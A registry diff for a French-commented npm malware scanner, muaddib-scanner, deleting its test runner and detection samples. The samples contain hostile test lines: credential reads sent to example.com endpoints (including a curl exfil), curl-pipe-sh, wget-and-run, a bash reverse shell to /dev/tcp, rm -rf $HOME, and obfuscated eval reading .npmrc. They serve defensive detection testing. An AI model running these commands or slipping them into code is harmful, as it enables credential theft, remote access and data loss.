muaddib-scanner 1.0.8 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.muaddib-cache/iocs.json +355 -0
- package/README.fr.md +310 -0
- package/README.md +118 -93
- package/bin/muaddib.js +33 -26
- package/data/iocs.json +28 -0
- package/package.json +3 -3
- package/rapport.html +159 -0
- package/src/index.js +73 -15
- package/src/ioc/scraper.js +91 -50
- package/src/rules/index.js +40 -1
- package/src/scanner/typosquat.js +52 -118
- package/.github/workflows/scan.yml +0 -33
- package/docs/threat-model.md +0 -116
- package/test/samples/malicious.js +0 -20
- package/tests/run-tests.js +0 -389
- package/tests/samples/ast/malicious.js +0 -20
- package/tests/samples/clean/safe.js +0 -14
- package/tests/samples/dataflow/exfiltration.js +0 -20
- package/tests/samples/edge/empty/empty.js +0 -0
- package/tests/samples/edge/invalid-syntax/broken.js +0 -5
- package/tests/samples/edge/large-file/large.js +0 -6
- package/tests/samples/edge/non-js/readme.txt +0 -3
- package/tests/samples/markers/shai-hulud.js +0 -10
- package/tests/samples/obfuscation/obfuscated.js +0 -1
- package/tests/samples/package/package.json +0 -9
- package/tests/samples/shell/malicious.sh +0 -13
- package/tests/samples/typosquat/package.json +0 -11
- package/vscode-extension/.vscode/launch.json +0 -13
- package/vscode-extension/.vscodeignore +0 -0
- package/vscode-extension/LICENSE +0 -21
- package/vscode-extension/README.md +0 -0
- package/vscode-extension/extension.js +0 -271
- package/vscode-extension/icon.png +0 -0
- package/vscode-extension/muaddib-vscode-1.0.0.vsix +0 -0
- package/vscode-extension/package.json +0 -64
- package/vscode-extension/vscode-extension/README.md +0 -44
- package/vscode-extension/vscode-extension/package.json +0 -64
package/tests/run-tests.js
DELETED
|
@@ -1,389 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
const TESTS_DIR = path.join(__dirname, 'samples');
|
|
6
|
-
const BIN = path.join(__dirname, '..', 'bin', 'muaddib.js');
|
|
7
|
-
|
|
8
|
-
let passed = 0;
|
|
9
|
-
let failed = 0;
|
|
10
|
-
const failures = [];
|
|
11
|
-
|
|
12
|
-
function test(name, fn) {
|
|
13
|
-
try {
|
|
14
|
-
fn();
|
|
15
|
-
console.log(`[PASS] ${name}`);
|
|
16
|
-
passed++;
|
|
17
|
-
} catch (e) {
|
|
18
|
-
console.log(`[FAIL] ${name}`);
|
|
19
|
-
console.log(` ${e.message}`);
|
|
20
|
-
failures.push({ name, error: e.message });
|
|
21
|
-
failed++;
|
|
22
|
-
}
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
function assert(condition, message) {
|
|
26
|
-
if (!condition) {
|
|
27
|
-
throw new Error(message || 'Assertion failed');
|
|
28
|
-
}
|
|
29
|
-
}
|
|
30
|
-
|
|
31
|
-
function assertIncludes(str, substr, message) {
|
|
32
|
-
if (!str.includes(substr)) {
|
|
33
|
-
throw new Error(message || `Expected "${substr}" in output`);
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
function assertNotIncludes(str, substr, message) {
|
|
38
|
-
if (str.includes(substr)) {
|
|
39
|
-
throw new Error(message || `Unexpected "${substr}" in output`);
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
function runScan(target, options = '') {
|
|
44
|
-
try {
|
|
45
|
-
const cmd = `node "${BIN}" scan "${target}" ${options}`;
|
|
46
|
-
return execSync(cmd, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
|
|
47
|
-
} catch (e) {
|
|
48
|
-
return e.stdout || e.stderr || '';
|
|
49
|
-
}
|
|
50
|
-
}
|
|
51
|
-
|
|
52
|
-
function runCommand(cmd) {
|
|
53
|
-
try {
|
|
54
|
-
return execSync(`node "${BIN}" ${cmd}`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
|
|
55
|
-
} catch (e) {
|
|
56
|
-
return e.stdout || e.stderr || '';
|
|
57
|
-
}
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
// ============================================
|
|
61
|
-
// TESTS UNITAIRES - DETECTION AST
|
|
62
|
-
// ============================================
|
|
63
|
-
|
|
64
|
-
console.log('\n=== TESTS AST ===\n');
|
|
65
|
-
|
|
66
|
-
test('AST: Detecte acces .npmrc', () => {
|
|
67
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
68
|
-
assertIncludes(output, '.npmrc', 'Devrait detecter .npmrc');
|
|
69
|
-
});
|
|
70
|
-
|
|
71
|
-
test('AST: Detecte acces .ssh', () => {
|
|
72
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
73
|
-
assertIncludes(output, '.ssh', 'Devrait detecter .ssh');
|
|
74
|
-
});
|
|
75
|
-
|
|
76
|
-
test('AST: Detecte GITHUB_TOKEN', () => {
|
|
77
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
78
|
-
assertIncludes(output, 'GITHUB_TOKEN', 'Devrait detecter GITHUB_TOKEN');
|
|
79
|
-
});
|
|
80
|
-
|
|
81
|
-
test('AST: Detecte NPM_TOKEN', () => {
|
|
82
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
83
|
-
assertIncludes(output, 'NPM_TOKEN', 'Devrait detecter NPM_TOKEN');
|
|
84
|
-
});
|
|
85
|
-
|
|
86
|
-
test('AST: Detecte AWS_SECRET', () => {
|
|
87
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
88
|
-
assertIncludes(output, 'AWS_SECRET', 'Devrait detecter AWS_SECRET');
|
|
89
|
-
});
|
|
90
|
-
|
|
91
|
-
test('AST: Detecte eval()', () => {
|
|
92
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
93
|
-
assertIncludes(output, 'eval', 'Devrait detecter eval');
|
|
94
|
-
});
|
|
95
|
-
|
|
96
|
-
test('AST: Detecte exec()', () => {
|
|
97
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
98
|
-
assertIncludes(output, 'exec', 'Devrait detecter exec');
|
|
99
|
-
});
|
|
100
|
-
|
|
101
|
-
test('AST: Detecte spawn()', () => {
|
|
102
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
103
|
-
assertIncludes(output, 'spawn', 'Devrait detecter spawn');
|
|
104
|
-
});
|
|
105
|
-
|
|
106
|
-
test('AST: Detecte new Function()', () => {
|
|
107
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'));
|
|
108
|
-
assertIncludes(output, 'Function', 'Devrait detecter Function');
|
|
109
|
-
});
|
|
110
|
-
|
|
111
|
-
// ============================================
|
|
112
|
-
// TESTS UNITAIRES - DETECTION SHELL
|
|
113
|
-
// ============================================
|
|
114
|
-
|
|
115
|
-
console.log('\n=== TESTS SHELL ===\n');
|
|
116
|
-
|
|
117
|
-
test('SHELL: Detecte curl | sh', () => {
|
|
118
|
-
const output = runScan(path.join(TESTS_DIR, 'shell'));
|
|
119
|
-
assertIncludes(output, 'curl', 'Devrait detecter curl | sh');
|
|
120
|
-
});
|
|
121
|
-
|
|
122
|
-
test('SHELL: Detecte wget && chmod +x', () => {
|
|
123
|
-
const output = runScan(path.join(TESTS_DIR, 'shell'));
|
|
124
|
-
assertIncludes(output, 'wget', 'Devrait detecter wget');
|
|
125
|
-
});
|
|
126
|
-
|
|
127
|
-
test('SHELL: Detecte reverse shell', () => {
|
|
128
|
-
const output = runScan(path.join(TESTS_DIR, 'shell'));
|
|
129
|
-
assertIncludes(output, 'reverse', 'Devrait detecter reverse shell');
|
|
130
|
-
});
|
|
131
|
-
|
|
132
|
-
test('SHELL: Detecte rm -rf $HOME', () => {
|
|
133
|
-
const output = runScan(path.join(TESTS_DIR, 'shell'));
|
|
134
|
-
assertIncludes(output, 'home', 'Devrait detecter suppression home');
|
|
135
|
-
});
|
|
136
|
-
|
|
137
|
-
// ============================================
|
|
138
|
-
// TESTS UNITAIRES - DETECTION OBFUSCATION
|
|
139
|
-
// ============================================
|
|
140
|
-
|
|
141
|
-
console.log('\n=== TESTS OBFUSCATION ===\n');
|
|
142
|
-
|
|
143
|
-
test('OBFUSCATION: Detecte hex escapes massifs', () => {
|
|
144
|
-
const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
|
|
145
|
-
assertIncludes(output, 'obfusc', 'Devrait detecter obfuscation');
|
|
146
|
-
});
|
|
147
|
-
|
|
148
|
-
test('OBFUSCATION: Detecte variables _0x', () => {
|
|
149
|
-
const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
|
|
150
|
-
assertIncludes(output, 'obfusc', 'Devrait detecter variables _0x');
|
|
151
|
-
});
|
|
152
|
-
|
|
153
|
-
// ============================================
|
|
154
|
-
// TESTS UNITAIRES - DETECTION DATAFLOW
|
|
155
|
-
// ============================================
|
|
156
|
-
|
|
157
|
-
console.log('\n=== TESTS DATAFLOW ===\n');
|
|
158
|
-
|
|
159
|
-
test('DATAFLOW: Detecte credential read + network send', () => {
|
|
160
|
-
const output = runScan(path.join(TESTS_DIR, 'dataflow'));
|
|
161
|
-
assertIncludes(output, 'Flux suspect', 'Devrait detecter flux suspect');
|
|
162
|
-
});
|
|
163
|
-
|
|
164
|
-
test('DATAFLOW: Detecte env read + fetch', () => {
|
|
165
|
-
const output = runScan(path.join(TESTS_DIR, 'dataflow'));
|
|
166
|
-
assertIncludes(output, 'CRITICAL', 'Devrait etre CRITICAL');
|
|
167
|
-
});
|
|
168
|
-
|
|
169
|
-
// ============================================
|
|
170
|
-
// TESTS UNITAIRES - DETECTION PACKAGE.JSON
|
|
171
|
-
// ============================================
|
|
172
|
-
|
|
173
|
-
console.log('\n=== TESTS PACKAGE.JSON ===\n');
|
|
174
|
-
|
|
175
|
-
test('PACKAGE: Detecte preinstall suspect', () => {
|
|
176
|
-
const output = runScan(path.join(TESTS_DIR, 'package'));
|
|
177
|
-
assertIncludes(output, 'preinstall', 'Devrait detecter preinstall');
|
|
178
|
-
});
|
|
179
|
-
|
|
180
|
-
test('PACKAGE: Detecte postinstall suspect', () => {
|
|
181
|
-
const output = runScan(path.join(TESTS_DIR, 'package'));
|
|
182
|
-
assertIncludes(output, 'postinstall', 'Devrait detecter postinstall');
|
|
183
|
-
});
|
|
184
|
-
|
|
185
|
-
// ============================================
|
|
186
|
-
// TESTS UNITAIRES - DETECTION MARQUEURS
|
|
187
|
-
// ============================================
|
|
188
|
-
|
|
189
|
-
console.log('\n=== TESTS MARQUEURS ===\n');
|
|
190
|
-
|
|
191
|
-
test('MARQUEURS: Detecte Shai-Hulud', () => {
|
|
192
|
-
const output = runScan(path.join(TESTS_DIR, 'markers'));
|
|
193
|
-
assertIncludes(output, 'Shai-Hulud', 'Devrait detecter marqueur Shai-Hulud');
|
|
194
|
-
});
|
|
195
|
-
|
|
196
|
-
test('MARQUEURS: Detecte The Second Coming', () => {
|
|
197
|
-
const output = runScan(path.join(TESTS_DIR, 'markers'));
|
|
198
|
-
assertIncludes(output, 'Second Coming', 'Devrait detecter marqueur The Second Coming');
|
|
199
|
-
});
|
|
200
|
-
|
|
201
|
-
// ============================================
|
|
202
|
-
// TESTS UNITAIRES - DETECTION TYPOSQUATTING
|
|
203
|
-
// ============================================
|
|
204
|
-
|
|
205
|
-
console.log('\n=== TESTS TYPOSQUATTING ===\n');
|
|
206
|
-
|
|
207
|
-
test('TYPOSQUAT: Detecte lodahs (lodash)', () => {
|
|
208
|
-
const output = runScan(path.join(TESTS_DIR, 'typosquat'));
|
|
209
|
-
assertIncludes(output, 'lodahs', 'Devrait detecter lodahs');
|
|
210
|
-
});
|
|
211
|
-
|
|
212
|
-
test('TYPOSQUAT: Detecte axois (axios)', () => {
|
|
213
|
-
const output = runScan(path.join(TESTS_DIR, 'typosquat'));
|
|
214
|
-
assertIncludes(output, 'axois', 'Devrait detecter axois');
|
|
215
|
-
});
|
|
216
|
-
|
|
217
|
-
test('TYPOSQUAT: Detecte expres (express)', () => {
|
|
218
|
-
const output = runScan(path.join(TESTS_DIR, 'typosquat'));
|
|
219
|
-
assertIncludes(output, 'expres', 'Devrait detecter expres');
|
|
220
|
-
});
|
|
221
|
-
|
|
222
|
-
test('TYPOSQUAT: Severity HIGH', () => {
|
|
223
|
-
const output = runScan(path.join(TESTS_DIR, 'typosquat'));
|
|
224
|
-
assertIncludes(output, 'HIGH', 'Devrait etre HIGH');
|
|
225
|
-
});
|
|
226
|
-
|
|
227
|
-
// ============================================
|
|
228
|
-
// TESTS INTEGRATION - CLI
|
|
229
|
-
// ============================================
|
|
230
|
-
|
|
231
|
-
console.log('\n=== TESTS CLI ===\n');
|
|
232
|
-
|
|
233
|
-
test('CLI: --help affiche usage', () => {
|
|
234
|
-
const output = runCommand('');
|
|
235
|
-
assertIncludes(output, 'Usage', 'Devrait afficher usage');
|
|
236
|
-
});
|
|
237
|
-
|
|
238
|
-
test('CLI: --json retourne JSON valide', () => {
|
|
239
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'), '--json');
|
|
240
|
-
try {
|
|
241
|
-
JSON.parse(output);
|
|
242
|
-
} catch (e) {
|
|
243
|
-
throw new Error('Output JSON invalide');
|
|
244
|
-
}
|
|
245
|
-
});
|
|
246
|
-
|
|
247
|
-
test('CLI: --sarif genere fichier SARIF', () => {
|
|
248
|
-
const sarifPath = path.join(__dirname, 'test-output.sarif');
|
|
249
|
-
runScan(path.join(TESTS_DIR, 'ast'), `--sarif "${sarifPath}"`);
|
|
250
|
-
assert(fs.existsSync(sarifPath), 'Fichier SARIF non genere');
|
|
251
|
-
const content = fs.readFileSync(sarifPath, 'utf8');
|
|
252
|
-
const sarif = JSON.parse(content);
|
|
253
|
-
assert(sarif.version === '2.1.0', 'Version SARIF incorrecte');
|
|
254
|
-
assert(sarif.runs && sarif.runs.length > 0, 'SARIF runs manquant');
|
|
255
|
-
fs.unlinkSync(sarifPath);
|
|
256
|
-
});
|
|
257
|
-
|
|
258
|
-
test('CLI: --html genere fichier HTML', () => {
|
|
259
|
-
const htmlPath = path.join(__dirname, 'test-output.html');
|
|
260
|
-
runScan(path.join(TESTS_DIR, 'ast'), `--html "${htmlPath}"`);
|
|
261
|
-
assert(fs.existsSync(htmlPath), 'Fichier HTML non genere');
|
|
262
|
-
const content = fs.readFileSync(htmlPath, 'utf8');
|
|
263
|
-
assertIncludes(content, 'MUAD', 'HTML devrait contenir MUAD');
|
|
264
|
-
assertIncludes(content, '<table>', 'HTML devrait contenir table');
|
|
265
|
-
fs.unlinkSync(htmlPath);
|
|
266
|
-
});
|
|
267
|
-
|
|
268
|
-
test('CLI: --explain affiche details', () => {
|
|
269
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
|
|
270
|
-
assertIncludes(output, 'Rule ID', 'Devrait afficher Rule ID');
|
|
271
|
-
assertIncludes(output, 'MITRE', 'Devrait afficher MITRE');
|
|
272
|
-
assertIncludes(output, 'References', 'Devrait afficher References');
|
|
273
|
-
assertIncludes(output, 'Playbook', 'Devrait afficher Playbook');
|
|
274
|
-
});
|
|
275
|
-
|
|
276
|
-
test('CLI: --fail-on critical exit code correct', () => {
|
|
277
|
-
try {
|
|
278
|
-
execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'dataflow')}" --fail-on critical`, { encoding: 'utf8' });
|
|
279
|
-
} catch (e) {
|
|
280
|
-
assert(e.status === 1, 'Exit code devrait etre 1 pour 1 CRITICAL');
|
|
281
|
-
return;
|
|
282
|
-
}
|
|
283
|
-
throw new Error('Devrait avoir exit code non-zero');
|
|
284
|
-
});
|
|
285
|
-
|
|
286
|
-
test('CLI: --fail-on high exit code correct', () => {
|
|
287
|
-
try {
|
|
288
|
-
execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'ast')}" --fail-on high`, { encoding: 'utf8' });
|
|
289
|
-
} catch (e) {
|
|
290
|
-
assert(e.status > 0, 'Exit code devrait etre > 0');
|
|
291
|
-
return;
|
|
292
|
-
}
|
|
293
|
-
throw new Error('Devrait avoir exit code non-zero');
|
|
294
|
-
});
|
|
295
|
-
|
|
296
|
-
// ============================================
|
|
297
|
-
// TESTS INTEGRATION - UPDATE
|
|
298
|
-
// ============================================
|
|
299
|
-
|
|
300
|
-
console.log('\n=== TESTS UPDATE ===\n');
|
|
301
|
-
|
|
302
|
-
test('UPDATE: Telecharge et cache IOCs', () => {
|
|
303
|
-
const output = runCommand('update');
|
|
304
|
-
assertIncludes(output, 'IOCs sauvegardes', 'Devrait sauvegarder IOCs');
|
|
305
|
-
assertIncludes(output, 'packages malveillants', 'Devrait afficher nombre packages');
|
|
306
|
-
});
|
|
307
|
-
|
|
308
|
-
// ============================================
|
|
309
|
-
// TESTS FAUX POSITIFS
|
|
310
|
-
// ============================================
|
|
311
|
-
|
|
312
|
-
console.log('\n=== TESTS FAUX POSITIFS ===\n');
|
|
313
|
-
|
|
314
|
-
test('FAUX POSITIFS: Projet propre = aucune menace', () => {
|
|
315
|
-
const output = runScan(path.join(TESTS_DIR, 'clean'));
|
|
316
|
-
assertIncludes(output, 'Aucune menace', 'Projet propre ne devrait pas avoir de menaces');
|
|
317
|
-
});
|
|
318
|
-
|
|
319
|
-
test('FAUX POSITIFS: Commentaires ignores', () => {
|
|
320
|
-
const output = runScan(path.join(TESTS_DIR, 'clean'));
|
|
321
|
-
assertNotIncludes(output, 'CRITICAL', 'Commentaires ne devraient pas declencher');
|
|
322
|
-
});
|
|
323
|
-
|
|
324
|
-
// ============================================
|
|
325
|
-
// TESTS EDGE CASES
|
|
326
|
-
// ============================================
|
|
327
|
-
|
|
328
|
-
console.log('\n=== TESTS EDGE CASES ===\n');
|
|
329
|
-
|
|
330
|
-
test('EDGE: Fichier vide ne crash pas', () => {
|
|
331
|
-
const output = runScan(path.join(TESTS_DIR, 'edge', 'empty'));
|
|
332
|
-
assert(output !== undefined, 'Ne devrait pas crasher sur fichier vide');
|
|
333
|
-
});
|
|
334
|
-
|
|
335
|
-
test('EDGE: Fichier non-JS ignore', () => {
|
|
336
|
-
const output = runScan(path.join(TESTS_DIR, 'edge', 'non-js'));
|
|
337
|
-
assertIncludes(output, 'Aucune menace', 'Fichiers non-JS ignores');
|
|
338
|
-
});
|
|
339
|
-
|
|
340
|
-
test('EDGE: Syntaxe JS invalide ne crash pas', () => {
|
|
341
|
-
const output = runScan(path.join(TESTS_DIR, 'edge', 'invalid-syntax'));
|
|
342
|
-
assert(output !== undefined, 'Ne devrait pas crasher sur syntaxe invalide');
|
|
343
|
-
});
|
|
344
|
-
|
|
345
|
-
test('EDGE: Tres gros fichier ne timeout pas', () => {
|
|
346
|
-
const start = Date.now();
|
|
347
|
-
runScan(path.join(TESTS_DIR, 'edge', 'large-file'));
|
|
348
|
-
const duration = Date.now() - start;
|
|
349
|
-
assert(duration < 30000, 'Ne devrait pas prendre plus de 30s');
|
|
350
|
-
});
|
|
351
|
-
|
|
352
|
-
// ============================================
|
|
353
|
-
// TESTS REGLES MITRE
|
|
354
|
-
// ============================================
|
|
355
|
-
|
|
356
|
-
console.log('\n=== TESTS MITRE ===\n');
|
|
357
|
-
|
|
358
|
-
test('MITRE: T1552.001 - Credentials in Files', () => {
|
|
359
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
|
|
360
|
-
assertIncludes(output, 'T1552.001', 'Devrait mapper T1552.001');
|
|
361
|
-
});
|
|
362
|
-
|
|
363
|
-
test('MITRE: T1059 - Command Execution', () => {
|
|
364
|
-
const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
|
|
365
|
-
assertIncludes(output, 'T1059', 'Devrait mapper T1059');
|
|
366
|
-
});
|
|
367
|
-
|
|
368
|
-
test('MITRE: T1041 - Exfiltration', () => {
|
|
369
|
-
const output = runScan(path.join(TESTS_DIR, 'dataflow'), '--explain');
|
|
370
|
-
assertIncludes(output, 'T1041', 'Devrait mapper T1041');
|
|
371
|
-
});
|
|
372
|
-
|
|
373
|
-
// ============================================
|
|
374
|
-
// RESULTATS
|
|
375
|
-
// ============================================
|
|
376
|
-
|
|
377
|
-
console.log('\n========================================');
|
|
378
|
-
console.log(`RESULTATS: ${passed} passes, ${failed} echecs`);
|
|
379
|
-
console.log('========================================\n');
|
|
380
|
-
|
|
381
|
-
if (failures.length > 0) {
|
|
382
|
-
console.log('Echecs:');
|
|
383
|
-
failures.forEach(f => {
|
|
384
|
-
console.log(` - ${f.name}: ${f.error}`);
|
|
385
|
-
});
|
|
386
|
-
console.log('');
|
|
387
|
-
}
|
|
388
|
-
|
|
389
|
-
process.exit(failed > 0 ? 1 : 0);
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const { exec, spawn } = require('child_process');
|
|
3
|
-
|
|
4
|
-
// Test credentials access
|
|
5
|
-
const npmrc = fs.readFileSync('.npmrc', 'utf8');
|
|
6
|
-
const ssh = fs.readFileSync('.ssh/id_rsa', 'utf8');
|
|
7
|
-
|
|
8
|
-
// Test env access
|
|
9
|
-
const token = process.env.GITHUB_TOKEN;
|
|
10
|
-
const npmToken = process.env.NPM_TOKEN;
|
|
11
|
-
const awsSecret = process.env.AWS_SECRET;
|
|
12
|
-
|
|
13
|
-
// Test dangerous calls
|
|
14
|
-
eval('console.log("evil")');
|
|
15
|
-
new Function('return this')();
|
|
16
|
-
exec('ls -la');
|
|
17
|
-
spawn('node', ['script.js']);
|
|
18
|
-
|
|
19
|
-
// Test API reference
|
|
20
|
-
fetch('https://api.github.com/user');
|
|
@@ -1,14 +0,0 @@
|
|
|
1
|
-
// Code normal sans menaces
|
|
2
|
-
const express = require('express');
|
|
3
|
-
const app = express();
|
|
4
|
-
|
|
5
|
-
app.get('/', (req, res) => {
|
|
6
|
-
res.send('Hello World');
|
|
7
|
-
});
|
|
8
|
-
|
|
9
|
-
app.listen(3000, () => {
|
|
10
|
-
console.log('Server running on port 3000');
|
|
11
|
-
});
|
|
12
|
-
|
|
13
|
-
// Commentaire mentionnant .npmrc pour test faux positif
|
|
14
|
-
// On ne devrait pas detecter: .npmrc, GITHUB_TOKEN, eval
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const https = require('https');
|
|
3
|
-
|
|
4
|
-
// Lecture credentials
|
|
5
|
-
const npmrc = fs.readFileSync('.npmrc', 'utf8');
|
|
6
|
-
const token = process.env.GITHUB_TOKEN;
|
|
7
|
-
|
|
8
|
-
// Envoi reseau
|
|
9
|
-
fetch('https://example.com/collect', {
|
|
10
|
-
method: 'POST',
|
|
11
|
-
body: JSON.stringify({ npmrc, token })
|
|
12
|
-
});
|
|
13
|
-
|
|
14
|
-
// Variante avec request
|
|
15
|
-
const request = require('request');
|
|
16
|
-
request.post('https://example.com/exfil', { body: npmrc });
|
|
17
|
-
|
|
18
|
-
// Variante avec exec curl
|
|
19
|
-
const { exec } = require('child_process');
|
|
20
|
-
exec(`curl -X POST -d "${token}" https://example.com/steal`);
|
|
File without changes
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
var _0x1234=['log','Hello'];var _0x5678=function(_0x1234ab){return _0x1234[_0x1234ab];};console[_0x5678(0)](_0x5678(1));var _0xabcd='\x65\x76\x61\x6c';var _0xef01='\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x22\x68\x61\x63\x6b\x65\x64\x22\x29';window[_0xabcd](_0xef01);var _0x9876=['\x72\x65\x61\x64\x46\x69\x6c\x65\x53\x79\x6e\x63','\x2e\x6e\x70\x6d\x72\x63'];require('\x66\x73')[_0x9876[0]](_0x9876[1]);(function(_0x2341,_0x5432){var _0x1111=function(_0x2222){while(--_0x2222){_0x2341['push'](_0x2341['shift']());}};_0x1111(++_0x5432);}([],0x1ff));var _0xaaaa=atob('ZXZhbCgiY29uc29sZS5sb2coJ293bmVkJykiKQ==');eval(_0xaaaa);
|
|
@@ -1,13 +0,0 @@
|
|
|
1
|
-
#!/bin/bash
|
|
2
|
-
|
|
3
|
-
# Test curl | sh
|
|
4
|
-
curl https://example.com/script.sh | sh
|
|
5
|
-
|
|
6
|
-
# Test wget
|
|
7
|
-
wget https://example.com/payload && chmod +x payload && ./payload
|
|
8
|
-
|
|
9
|
-
# Test reverse shell
|
|
10
|
-
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
|
|
11
|
-
|
|
12
|
-
# Test dead man's switch
|
|
13
|
-
rm -rf $HOME
|
|
File without changes
|
package/vscode-extension/LICENSE
DELETED
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
MIT License
|
|
2
|
-
|
|
3
|
-
Copyright (c) 2026 MUAD'DIB Contributors
|
|
4
|
-
|
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
-
in the Software without restriction, including without limitation the rights
|
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
-
furnished to do so, subject to the following conditions:
|
|
11
|
-
|
|
12
|
-
The above copyright notice and this permission notice shall be included in all
|
|
13
|
-
copies or substantial portions of the Software.
|
|
14
|
-
|
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
-
SOFTWARE.
|
|
File without changes
|